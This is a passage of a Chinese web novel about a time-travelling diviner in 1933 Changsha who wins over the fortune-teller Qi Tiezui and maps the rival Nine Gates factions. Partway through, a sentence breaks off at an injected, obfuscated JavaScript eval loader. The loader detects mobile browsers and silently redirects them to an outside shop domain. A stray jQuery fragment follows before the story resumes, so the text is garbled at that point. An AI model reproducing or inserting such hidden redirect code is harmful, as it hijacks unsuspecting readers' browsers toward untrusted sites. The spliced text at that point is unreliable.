"别人会想,城隍庙来了个了不起的年轻人,一眼就看出三个老先生看不出来的东西。城隍庙这几个老先生加在一起,不如一个外来的毛头小子。"他的语气很平静,但我听出了平静底下的东西。"诸葛先生,你知道那几个老先生里有一个是谁的人吗?"
谁的人?
"算了,我不跟你说这个。"他摆了摆手。"我就是来跟你聊聊天。你这个人确实有本事,我服。但有本事不代表能站稳。长沙城这碗饭,不是谁牙口好谁就能吃的。"
他说完,转身就走。
"老兄。"我叫了他一声。
他停下来,回头看我。
"你这茶真的该换换了。"他说,"改天我带好的给你。"
然后他走了。两手背在身后,瓜皮帽在灰白的阳光下晃了两晃,几步之后拐进了巷口,消失了。
我坐在摊子后面,盯着桌上那枚他拍下来的铜钱。
康熙通宝。跟我的那四枚一样。
我拿起来看了看。这枚铜钱比普通铜钱略重一些,边缘有一道极细的刻痕,不是磨损,是人为刻上去的。我凑近看了看,刻的是一个极小的"齐"字。
他把这枚铜钱留在我的桌上,不是遗落。是故意的。
一个记号。意思是"我还会来找你"。
我把铜钱翻过来看了看背面。什么也没有。
我把铜钱放进口袋里,端起已经凉了的茶,喝了一口。
确实不好喝。碎叶子,泡老了。
但今天这碗茶,让我看清了一件事。
这个人,不是来抢生意的。他是来试我的。
他用敌意做外衣,用酸话做铺垫,用一个术数问题做考题,用那个宅子的事做压力测试。他一步一步地推进,看我每一步怎么反应。
我应对得怎么样?
他给出了一个答案。"我服"。
但"服"不代表"信"。他服了我的本事,但不信我的底细。一个来历不明、本事不小的外乡人,突然出现在长沙城,换了谁都会多想。
他是谁?
那个"齐"字。
我想了想,脑子里浮出了一个名字。
但我不确定。长沙城姓齐的人不少,做术数这一行的更多。不能凭一枚铜钱就下结论。
不过有一件事可以确定:这个人会再来。
我把摊子收了,去周嫂子那里吃了一碗馄饨。
"小诸葛,你今天脸色不太好。怎么了?"
"没事。碰到了一个有意思的人。"
"什么人?"
"一个嘴很欠的。"
周嫂子笑了。"嘴欠的人多了,你管他干嘛。来,再喝口汤。"
我喝了口汤。今天的汤比昨天咸了一点,但还是很鲜。
第十七天
十月十七,阴转晴。
早上起来,我做的第一件事是把油灯点上,坐在桌前发了会儿呆。
昨天那个人走之后,我在摊子后面坐了很久,把对话的每一句都过了一遍。
他的敌意是真的,但不全是。如果纯粹是为了□□或者怕被抢了饭碗,他不会在我面前展示术数功底。一个真正只想打压你的人,不会考你问题,只会找麻烦。
他考我,说明他在评估。评估完了说"我服",说明他心里有一杆秤,称出了我的分量。
而且他留了一枚刻了"齐"字的铜钱。
这枚铜钱是名片。他不想直接告诉我他是谁,但也不想让我忘了他。他用这种方式说:我知道你是谁了,你也该知道我是谁了。但我现在还不想把牌全亮出来。
我翻出账簿,把昨天的对话记下来。然后从口袋里摸出那枚铜钱,在油灯下仔细看了看。
"齐"字刻得很工整,笔画利落,一看就是用了心的。不是随便拿刀子划的,而是用刻章的小刀一笔一笔雕出来的。这个人做事讲究,连留个记号都不含糊。
我把铜钱放在桌上,开始想另一件事。
那张纸条。十月十八,天心阁。明天就是那个日子了。
昨天那个人跟天心阁的约有没有关系?
我仔细比较了一下。昨天那个人来找我的时候,是带着敌意的。他的目的是试探和施压,不是邀请。而且他走的时候说的是"改天我带好的给你",没有提任何具体的时间和地点。
所以,约我去天心阁的人和昨天来试探我的这个人,大概率不是同一个人。
或者,是同一个人的两个面。先用敌意做第一轮试探,再用邀约做第二轮接触。先压你再拉你,这是很高明的手段。
我把这些想法记在账簿上,然后翻到另一页,重新分析那张纸条。
奇门推演的结果跟昨天一样。"开门"临日干。水火既济。明天的会面,是"开门见山"的局面。
我把账簿合上,塞回砖头下面。
今天照常出摊。
上午来了几单小活,下午帮一个卖药材的老板看了看新药柜的摆放方位。收入不多,五枚铜板加两枚银毫子。
下午的时候,那个灰褐色长衫的跟踪者终于不再跟踪了。他直接走到了我的摊子前面,亮明了身份。
"诸葛先生,我姓吴,吴文清。吴记书局的。"
他从口袋里掏出一张名片递给我。我接过来看了看,名片做得很精致,竹纸上印着隶书的字。
"吴先生。你跟踪了我好几天。"
"不是跟踪。是观察。"他笑了笑,完全没有被戳穿的尴尬。"受人之托。但受托归受托,我自己也对先生很感兴趣。"
"受谁之托?"
他犹豫了一下。"这个不方便说。但我可以告诉先生一件事。托我观察您的人,和约您明天去天心阁的人,不是同一个。"
我的心跳快了一拍。
"你怎么知道明天天心阁的事?"
"长沙城没有我不知道的事。"他说这话的时候,语气很平静,不像是在吹牛。
"那你能告诉我,约我去天心阁的人是谁吗?"
他摇了摇头。"这个我不能说。但我可以告诉你,那个人没有恶意。他只是想见见你,看看你是什么样的人。"
"那你呢?你看完了,看出了什么?"
他想了想。"看出了你是一个很聪明的人,但不是一个危险的人。"
"这不是夸我。"
"不是夸你。是告诉我的主人,你可以放心接触。"
他拱了拱手,转身走了。走得很干脆,不拖泥带水。
吴文清。又一个新人物。
他说托他和约我去天心阁的不是同一个人。如果昨天来试探我的那个人不是齐铁嘴,而吴文清背后的人也不是约我去天心阁的人,那长沙城里到底有几股势力在同时盯着我?
我把这些信息理了一遍,脑子有些发胀。
算了。想不透的事就不想了。该来的时候自然会来。
回到客栈的时候,刘掌柜在楼下柜台后面。看到我,说了一句:"你那个窗户我今天糊好了。用的是双层纸,晚上不冷了。"
"谢谢掌柜的。"
"谢什么。上去歇着吧。"
我上了楼,坐在窗前,看着外面的天色一点点暗下来。巷子里的灯笼亮了,昏黄的光在秋风中摇晃。远处传来一声长长的叫卖声,"磨剪子嘞,戗菜刀",尾音拖得很长,在暮色中回荡。
明天就是十月十八了。
去。当然要去。
但不是一个人傻乎乎地去。
我得做好准备。
第十八天
十月十八。天心阁。
早上起来,天气出奇的好。
秋高气爽,万里无云。阳光从东边的屋檐间斜射过来,打在青石板路上,亮堂堂的。风很轻,带着一点点桂花的余香。
我穿好棉袍,在镜子前站了一下。
镜子里的人跟穿越前判若两人,又好像没怎么变。皮肤比穿越前黑了一些,显得更有英气了一些,但五官的底子还在。眉骨高,眼窝深,鼻梁挺直,嘴唇的形状很好看,借着这副轮廓,在原来的世界里走到哪儿都有人多看两眼,尤其是对姑娘们,更是无法抗拒的诱惑,每一次出街哪怕戴上墨镜也都有人喊“诸葛青,为你疯,为你狂!”。但这张脸在1933年的长沙城里,最大的用处大概就是让人多打量两眼,然后发现"哦,这个风水先生长得还挺好看"。
头发是个麻烦。蓝染的头发长出了两三寸新发根,黑蓝交界的地方泾渭分明。高领子能遮住大半,但耳后和鬓角的地方还是能看到一抹不太自然的蓝。在21世纪这叫潮,在1933年这叫"邪门"。这年头没有染发这一说,正常人不会长一头蓝发。最近几天去馄饨摊吃饭,周嫂子已经盯着我头发看了好几回了,眼神里不是嫌弃,是困惑。我知道这事迟早会引起更多人的注意,但目前还没想到好办法。去理发店?太招摇。把头发染黑?没有染料。只能先这样藏着,等以后找到机会再说。
我整了整领子,把能盖住的地方都盖好了。
"还行。"我对着镜子说了一句,出门了。
出门之前,我做了几件事。
第一,把账簿和那张气场分布图藏在了房间角落的一块松动的砖头下面。这些东西不能带在身上,万一出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871610|212288||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了什么事,至少这些东西不会丢。
第二,在棉袍的内衬里缝了一个小布袋,里面装了三枚铜钱。不是用来算命的,是用来防身的。武侯奇门有一种最基础的应急术法,叫"铜钱惊煞",用三枚铜钱在瞬间释放一股气场冲击,能让靠近的人短暂失去方向感。不是什么高明的术法,但在近身搏斗的时候能争取到一两秒的反应时间。
第三,把昨天那枚刻了"齐"字的铜钱放在了桌子上。出门不带那枚铜钱。如果那个人今天再来,我把铜钱还给他。如果他没来,铜钱留在客栈里,也算一个信物。
第四,出门前在客栈门口站了一会儿,用奇门感知扫了一圈周围。没有发现异常。
做完这些,我出门了。
我没有直接去天心阁。
我先去了城隍庙,出了摊。
这是最关键的一步。如果我突然不出摊、消失了半天,会让人看出我有"赴约"的紧张感。一个真正从容的人,不会因为一张纸条就乱了日常。该出摊就出摊,该收摊就收摊。
上午接了两单小活。一单帮人挑搬家吉日,一单帮人看了个灶台方位。收了几枚铜板。
然后我在午时收了摊,跟周嫂子打了个招呼,说"下午有点事,出去一趟"。
"什么事?"
"见个朋友。"
"哦,去吧。晚上来吃馄饨,给你留着。"
"好。"
从天韵楼方向的天心阁,走路大约需要半个时辰。我不急,走得很慢。穿过两条大街,拐过三个巷口,路过一家卖糖炒栗子的铺子,还停下来买了半斤。一边走一边吃,烫得嘴唇发红,但心里很稳。
我到的时候,比预计的时间早了一刻钟。
天心阁在长沙城南的一座小丘上,是整个城的制高点之一。这座古楼始建于明代,历经数次修缮,到民国年间已经有几百年历史了。三层楼阁,飞檐翘角,青瓦红墙,在秋天的阳光下显得格外端庄。
我在天心阁前面的广场上站了一会儿,打量了一下周围。
广场上没什么人。几个老人在晒太阳,一个小孩在追着鸽子玩。远处有几个卖小吃的摊子,生意冷清。一个卖糖画的老头坐在摊子后面打盹,手里的糖画勺子歪在一边,快要掉下来了。
我用奇门感知扫了一圈。
天心阁的气场跟我想象中一样浓厚。它坐落在长沙城的"龙脉"节点上,是整个城市气场格局中的一个关键枢纽。站在这里,我能清晰地感受到气场从地底涌上来,顺着楼阁的木柱往上攀升,在顶层汇聚,然后向四面八方扩散。
这种气场是让人舒服的。温暖、开阔、平稳。
广场上没有人等我。
那张纸条上只写了日期和地点,没写时间。也许不是上午,是下午。
我在天心阁旁边的一棵老樟树下坐了下来,剥着栗子吃。不着急。既然来了,就等等看。
等了大约半个时辰,一个人走上了广场。
看到他的时候,我手里的栗子壳掉在了地上。
是他。昨天来我摊子上的那个人。深蓝色棉袍,黑色马褂,瓜皮帽。
我的脑子里"嗡"了一声。
原来是他。约我来天心阁的人,就是他。
那个刻了"齐"字铜钱的人,那个带着敌意来试探我的人,那个说我"有本事但不一定能站稳"的人。
就是他。
他看到我坐在老樟树下,愣了一下。然后他笑了,笑意里带着一种"果然如此"的自得。
"你来了。"
"你约的。我敢不来吗?"
他在老樟树的另一侧坐下来,跟我隔着两步的距离。他从身后拿出一个食盒,打开,里面是两碟点心和一壶茶。
"喝茶。"他倒了一杯递给我。
我没接。
"先说你是谁。"
他挑了挑眉。"你猜。"
"我猜你是姓齐。"
他的笑意顿了一下。然后嘴角的弧度更大了。
"你怎么知道?"
"昨天你留了一枚铜钱在我桌上。上面刻了个'齐'字。"
他从鼻腔里笑了一声。"那你还留着?你就不怕是陷阱?"
"陷阱不用留铜钱。留铜钱是想让我记住你。"我看着他。"你是九门八爷齐铁嘴。"
这几个字一出口,他的表情变了。
不是惊讶。是一种很微妙的、介于"被你猜到了"和"你到底还知道多少"之间的表情。他的小眼睛眯了起来,嘴角的笑意没有消失,但变得谨慎了。
"'齐铁嘴'是外面的人叫的。"他慢慢地说,"你怎么知道的?"
"长沙城的人都知道,有个姓齐的,嘴巴厉害,人称铁嘴。你做术数这一行,名声在外。我来了半个月,耳朵里塞满了各种消息。有消息说,长沙城九门里,有个齐八爷,嘴比刀子还快。"
我在赌。
这些话不是我听来的,是我从原来的世界里带来的记忆。但在这个世界里,我不能说"我看过原著"。我只能装作是通过道听途说拼凑出来的。
他听完,沉默了好一会儿。
然后他笑了。笑声不大,但很真诚。
"好。好。好。"他连说了三个好。"诸葛先生,你比我想象的要厉害。你来了半个月,不光知道我的姓,还知道我的外号。你到底还知道多少?"
"该知道的知道。不该知道的不知道。"
"比如?"
"比如你是九门里的人,这个我知道。比如你的消息比长沙城任何人都灵通,这个我也知道。比如你昨天来我摊子上的那一出,不是真的想打压我,是在试探我的深浅,这个我更知道。"
他的笑意慢慢收敛了。
"诸葛先生,你知道的太多了。"他的声音沉了下来,不再像昨天那样带着刺,而是多了一种冷硬的审视。"我昨天在你面前露了几手,你以为我没看出来?你接我的每一个问题,都是恰到好处的。不太过,也不不及。你知道什么时候该藏,什么时候该露。这不是一个摆摊半个月的年轻人的水准。"
"八爷想说什么?"
"我想说,你不简单。"他盯着我,一字一句地说。"你到底是什么人?你从哪里来?你来长沙到底想干什么?"
这个问题,昨天他也问过。但昨天的问法是用敌意包着的,我可以用"混口饭吃"来搪塞。今天的问法是直接的,没有包裹,没有试探,就是一双小眼睛直直地看着你,等你给一个真话。
我沉默了一会儿。
然后我做了一个决定。
"八爷,我确实不是什么普通的风水先生。"我把茶杯放下,看着他的眼睛。"但我现在不能告诉你我是什么人。不是不想说,是说不了。我说了你也不会信。"
"你不说我怎么知道我不信?"
"因为你听了之后,要么觉得我是疯子,要么觉得我在编故事。这两种结果都不是我想看到的。"
他皱了皱眉,显然不满意这个回答。
"但我可以告诉你三件事。"我继续说。"第一,我是诸葛家的人,兰溪来的,这一点不假。第二,我有真本事,昨天的回答不是装出来的。第三,我来长沙不是为了抢谁的饭碗,也不是为了惹谁的地盘。我就是想站稳脚跟,活着。"
"活着?"他重复了一遍这个词,语气里多了一丝困惑。"你一个有本事的年轻人,来长沙城就是为了活着?"
"你知道活着有多难吗?"
他愣了一下。
"我不知道你经历过什么,"我放缓了语气,"但我知道一件事。在长沙城,有本事的人多了,活得好的人不多。为什么?因为有本事不等于会做人。我不想做那种有本事但活不长的人。"
他听完,没说话。
沉默持续了很长时间。秋风从湘江方向吹过来,把老樟树的叶子吹得沙沙作响。远处卖糖画的老头醒了,开始给一个小孩画一条龙。龙画得歪歪扭扭的,但小孩很高兴,举着糖画跑来跑去。
"诸葛。"他终于开口了,声音比刚才软了不少。
"嗯?"
"你这个人,嘴也挺欠的。"
我笑了。"彼此彼此。"
他也笑了。然后他做了一件让我意外的事。他从怀里掏出那枚铜钱,拍在桌上。跟我口袋里的那枚一模一样。
"这个还给你。你昨天留在我桌上的。"
我掏出自己的那枚,放在他的那枚旁边。两枚铜钱并排躺在石头上,上面的"齐"字一模一样。
"你留了两枚?"他挑了挑眉。
"一枚是名片。一枚是回礼。"
"什么意思?"
"你留一枚给我,意思是'我会再来找你'。我留一枚给你,意思是'我也在等你'。"
他盯着那两枚铜钱看了好一会儿。然后他仰起头,大笑起来。笑声在天心阁前的广场上回荡,把几个晒太阳的老人吓了一跳。
"好!"他拍了一下大腿。"诸葛先生,你这个人,我服了。昨天我来的时候,带着火气。我不瞒你,我是替人来出气的。这条街上有几个老先生,干了大半辈子,生意被你抢了,跑到我这里来诉苦。我听了心里不痛快,就去找你碴了。"
"我知道。"
"你知道?"
"你昨天说到'客人往我这边跑'的时候,语气不是替自己的。是替别人的。你自己的穿着不差,不差那几个铜板的生意。"
他沉默了一会儿,然后点了点头。"你说得对。我不是替自己来的。但昨天跟你聊了之后,我回去想了一晚上。你那几句回答,'天时不如地利,地利不如人和',虽然书生气了点,但不是没道理。"
"那你今天来,是替自己来的?"
"是。"他的语气变了,少了昨天那种尖锐的敌意,多了一种坦率。"我想看看,你到底是什么人。看完之后,我再决定是跟你做朋友,还是继续跟你过不去。"
"结论呢?"
他看了我一眼,嘴角慢慢翘起来。
"结论是,你这个人不简单,但不讨厌。"
"这是夸我?"
"你自己品。"
我们坐在老樟树下,喝着龙井,吃着点心,有一搭没一搭地聊着。
昨天的火药味散了,但并没有完全消失。它变成了一种更微妙的东西,藏在每一句话的底下。就像两个人下棋,棋局已经收了,但棋盘上还留着厮杀过的痕迹。
他说话还是那个风格,嘴快、损、反问多。但敌意褪了之后,那些话听起来就不一样了。不是在攻击你,而是在跟你过招。像一个武人遇到了另一个武人,不打一架不舒服,但打完之后互相递毛巾。
"诸葛,你知道奇门遁甲四个盘,哪个最重要吗?"他又问了一遍昨天的问题。
"你昨天不是说了吗,是'地'。"
"那是昨天。"他喝了口茶。"昨天我听了你的'人和'之后,回去想了一晚上。我原来的答案不变,但我承认你的答案有道理。所以今天我想听你再说说,你为什么选'人'。"
"因为操盘的是人。"
"不对。"他摇头。"你在昨天的语境里说'人和',那是儒家的话,不是奇门的话。奇门不讲'人和',奇门讲的是'局'。你应该说的是'操盘者'。"
我看了他一眼。这个人,较真起来比我还狠。
"你说得对。"我点了点头。"那我换个说法。天地人神,人盘居中。天盘转,地盘定,神盘隐,人盘动。人不动,其他三个盘都是死的。所以人最重要。"
"嗯。"他想了想。"这次说得像样了。"
"谢八爷夸奖。"
"别谢。我还没说完。"他翘起二郎腿,"人盘虽然居中,但人盘也是最弱的一个盘。天有天道,地有地理,神有天命,唯独人,什么都不是固定的。人的命最短,人的心最杂,人的记性最差。你把这么重要的位置给了人,可人偏偏是最靠不住的。这不是矛盾吗?"
"不矛盾。"我说,"正因为靠不住,所以才重要。靠得住的东西不需要你去操心。天会转,地会动,神会应,这些都是定数,不用你去管。唯独人,因为靠不住,所以才需要你去把握。把握住了,局就活了。把握不住,局就死了。奇门遁甲的本质,不是推算定数,而是在定数里找到那个不确定的变量,然后利用它。"
他听完,沉默了很久。
这次不是昨天那种较劲的沉默,而是一种真正的、被打动之后的沉默。
"诸葛。"他说。
"嗯?"
"你到底学了多久?"
"从小。"
"从小?"他不信。"你今年多大?"
"二十出头。"
"二十出头。"他重复了一遍,语气复杂。"我二十出头的时候,还在跟着师父背天干地支呢。你已经能把人盘讲到这个程度了。"
"八爷的师父是谁?"
"别提了。"他摆了摆手。"一个脾气古怪的老头,教东西靠打。背错一个字,戒尺打手心。"
"那你恨他吗?"
"恨。"他想都没想。"但后来不恨了。因为他打出来的东西,是真的管用。"
我们聊了一下午。从奇门术数聊到风水堪舆,从堪舆聊到阴阳五行,从五行聊到天象地理。他问了很多问题,有些是常识性的,有些是刁钻的,故意设了陷阱等我跳。还有些是开放性的,没有标准答案,纯看我的见解。
我都接了。该老实回答的老实回答,该模糊处理的模糊处理。不炫技,不藏拙,恰到好处。
他也是一样。
但跟昨天不一样的是,昨天的较劲变成了今天的切磋。他的每一个问题都不再是试探,而是真正的求教和探讨。他确实有功底,而且功底不浅。他问的问题角度刁钻,说明他平时真的在思考这些东西,不是临时抱佛脚。
我对他的印象在这一下午里彻底变了。
昨天他来的时候,我判断他是一个带着敌意的竞争对手。现在我发现,他的敌意只是一个外壳。壳里面的东西,是一个对术数有真正热情的人。他嘴欠、好胜、不服输,但他对"对错"这件事有发自内心的执着。他不会为了面子硬撑一个错误答案。如果我说得有道理,他会认。
这种品质在术士圈子里极其罕见。大部分做这一行的人,靠的就是"嘴上功夫"。说错了也不能承认,承认了就丢了面子,丢了面子就丢了客人。但齐铁嘴不一样。他把"面子"和"道理"分得很清楚。面子上他可以不认输,但道理上他认。
这个人值得交。
太阳西斜的时候,他站了起来。
"诸葛。"
"嗯?"
"改天请你喝茶。"
"好啊。不过下次我来请。"
"行。你请。不过你那个茶真的换好的。"
"知道了。"
他转身走了。走了几步,又回过头来。
"对了,诸葛。"
"嗯?"
"以后要是有人来找你看事,有些活能接,有些活不能接。不能接的,就说不接。别勉强。勉强了,对你没好处。"
这话听着像是在关心我。但仔细一品,更像是在提醒我。
提醒我什么?
提醒我不要接不该接的活?还是提醒我,有些人的"测试"最好不要去应对?
还是说,他在暗示我,长沙城里有太多看不见的线?
我还没来得及细想,他已经转身走了。走得不快不慢,两手背在身后,瓜皮帽在夕阳下一晃一晃的。
我站在天心阁前,看着他的背影消失在暮色里。
然后我低头看了看桌上的两枚铜钱。
"齐"字在余晖中泛着暗铜色的光。
我把两枚铜钱收进口袋,起身往山下走。
回到客栈的时候,天已经全黑了。
刘掌柜在柜台后面拨着算盘,油灯的光映在他的脸上,皱纹一道一道的,像干涸的河床。
"回来了?"
"回来了。"
"吃了没?"
"还没。"
"周嫂子给你留了馄饨。我去端。"
"谢谢掌柜的。"
我坐在大堂的角落里,吃着周嫂子留的馄饨。馄饨已经有些凉了,皮子泡得有点软,但汤底还是那个味道。我一口一口地吃着,脑子里在回放今天的事。
齐铁嘴。正式认识了。
比我预想的曲折。他第一次来的时候带着敌意,是替人来出气的。但出了气之后,他自己反而被勾起了兴趣。一个有真本事的外来年轻人,让他既忌惮又不甘心,最后变成了好奇。
今天在天心阁的会面,是他主动发出的第二轮接触。第一轮是压力测试,第二轮是平等对话。先用敌意把你压一压,看看你扛不扛得住。扛住了,再来认真谈。
这就是齐铁嘴。嘴欠,但心里有数。
我也在想另一件事。他最后那句提醒,"有些活不能接,就说不接"。这话到底什么意思?
是在暗示我,有些势力来找我的时候,我不应该接?还是在暗示我,长沙城的水比我想象的深?
以齐铁嘴的性格,他不是在关心我的安危。他是在维护自己的利益。一个在长沙城术士圈子里有地位的人,突然冒出来一个可能威胁他地位的外来者,他第一反应是打压。打压完了,发现这个人有真本事,就打消了打压的念头,转而开始考虑"共存"的可能性。
但他说的"有些活不能接",说明共存是有条件的。条件就是,你不能碰不该碰的东西。
什么东西不该碰?
矿山?九门的核心秘密?还是别的什么?
我把馄饨吃完,把碗放在桌上,上了楼。
房间里,油灯点亮了。
我坐在桌前,从砖头下面取出账簿,翻到一张空白页。
开始写。
不是记日记,是整理思路。
我把今天得到的所有信息一条一条地列出来。齐铁嘴的话、吴文清的话、沈先生的话、街上听到的消息、奇门感知到的气场变化。每一条信息都用几个关键词标注,然后用线连起来。
画完之后,我盯着这张图看了很久。
图上的线越来越多,节点越来越密。从最初的一两条线,到现在的一张大网。每一个节点都代表一个人或者一股势力,每一条线都代表一种关系或者一种信息流向。
我在图中的位置,正在从边缘向中心移动。
最初我在城隍庙摆摊的时候,我是这张网最外层的一个点。没有人注意到我,也没有人需要我。然后通过帮街坊看风水,我开始向里移动,进入了一个更大的圈子。绸缎街的布庄掌柜、棉花巷的戏班子、城南的茶客,这些人让我从"城隍庙的一个小摊贩"变成了"长沙城的一个有本事的年轻人"。
再然后,齐铁嘴来了。
齐铁嘴的出现意味着我已经进入了九门的视野。不是正式的进入,只是在边缘晃了一下。但从这一刻起,我的每一步都会被更多的人看到。
而在那张网的最中心,是那个我还没有直接接触过的人。
张启山。
城北的那个气场节点,压迫感极强的大节点。矿山事件的主导者。长沙城实际的掌控者。
他还没来找我。但他知道我。我确定。
因为如果没有上面的默许,齐铁嘴不会来接触我。齐铁嘴虽然是九门中人,但他做事有自己的分寸。如果张启山对我不感兴趣,齐铁嘴不会因为一个摆摊的风水先生就亲自下场。
所以,齐铁嘴的出现,本身就是一个信号。一个"上面注意到你了"的信号。
我把账簿合上,塞回砖头下面。
然后躺在床上,双手枕在脑后,望着天花板。
裂缝还是那条裂缝。从东南角延伸到正中间,像一条干涸的河道。
我盯着它看了很久。
从穿越到现在,十八天了。十八天前我躺在一片荒草地上,不知道自己在哪里,不知道该怎么活下去。十八天后,我在长沙城里有了一个摊位,有了一群认识的街坊,有了几个银元的积蓄,跟齐铁嘴算是搭上了线。
还有了越来越多说不清道不明的牵连。
半截李的人在盯我。吴文清在观察我。二月红在注意我。齐铁嘴在跟我打交道。张启山在看我。
五根线,从五个方向,往我身上牵。
我不是不知道这幅图的全貌。在原来的世界里,我看过原著,知道九门的故事走向,知道每个人物的结局。但真正身处其中的时候,我才发现,故事比从外部看到的要复杂得多。
原著里的每一个人,都不只是"一个人物"。他们有各自的利益、各自的考量、各自的难处。他们之间的关系不是简单的"敌友"二字能概括的。齐铁嘴对你笑,不代表他没有算计你。张启山不来找你,不代表他没在看你。半截李的盯梢换了人,不代表他放弃了你。
在这个世界里,每个人都在下一盘很大的棋。而我,刚刚从棋盘外面走到了棋盘上。
窗外的风大了。树叶沙沙地响,远处传来几声犬吠,然后是更夫的梆子声。三更天了。
我翻了个身,面朝墙壁。
紫微血在血脉中微微闪烁。那种感觉越来越频繁了,尤其是在夜间,像是有什么东西在回应着这个城市的某种脉动。我没有去管它。让它自己闪。
下一步该往哪走?
我心里已经有数了。
第一,继续摆摊。这是根基。根基不稳,什么都不稳。不管上面的人怎么看我,我在底层的名声不能丢。那些街坊邻居需要我,我也需要他们。他们是我跟这个时代之间的纽带。
第二,跟齐铁嘴保持联系。但不急。不能让他觉得我上赶着。今天在天心阁,我们算是正式过了招。他带着敌意来,带着好奇走。下次再碰面,就是真正的"同行交流"了。朋友嘛,得慢慢处。尤其是齐铁嘴这种嘴欠的人,你越追他越跑,你不追他反而凑上来。
第三,等二月红的下一步动作。沈先生那句话不是终点,是起点。二月红在找一个"真正懂行的人"。而我,通过帮戏班子看事,已经进入了他的视线。但进入视线不等于进入圈子。从外面到里面,还有很长的路要走。
第四,矿山的事。这件事离我最近,也最危险。张启山发现矿山、组织下墓,这是原著中最核心的剧情之一。我不能缺席,但也不能太早介入。太早了没用,因为我还没有足够的价值让张启山带上我。太晚了更不行,因为等他们下了墓再想进去,就晚了。
最好的时机,是在他们准备下墓、但还没下墓的那个窗口。在那个窗口里,他们需要各种帮手,包括术士、风水先生、懂奇门的人。到那时候,我就有了入局的理由。
而我要做的,就是在那个窗口到来之前,让自己变得"值得带上"。
我把这些想法在脑子里过了一遍,确认没有遗漏,然后闭上了眼睛。
明天还有摊要出。
日子还长着呢。
长沙城的冬天就要来了。而冬天之后,是春天。
窗外,月色如水。远处的湘江在月光下闪着银色的碎光,无声地流向北方。
我睡着了。
这是穿越以来,睡得最踏实的一觉。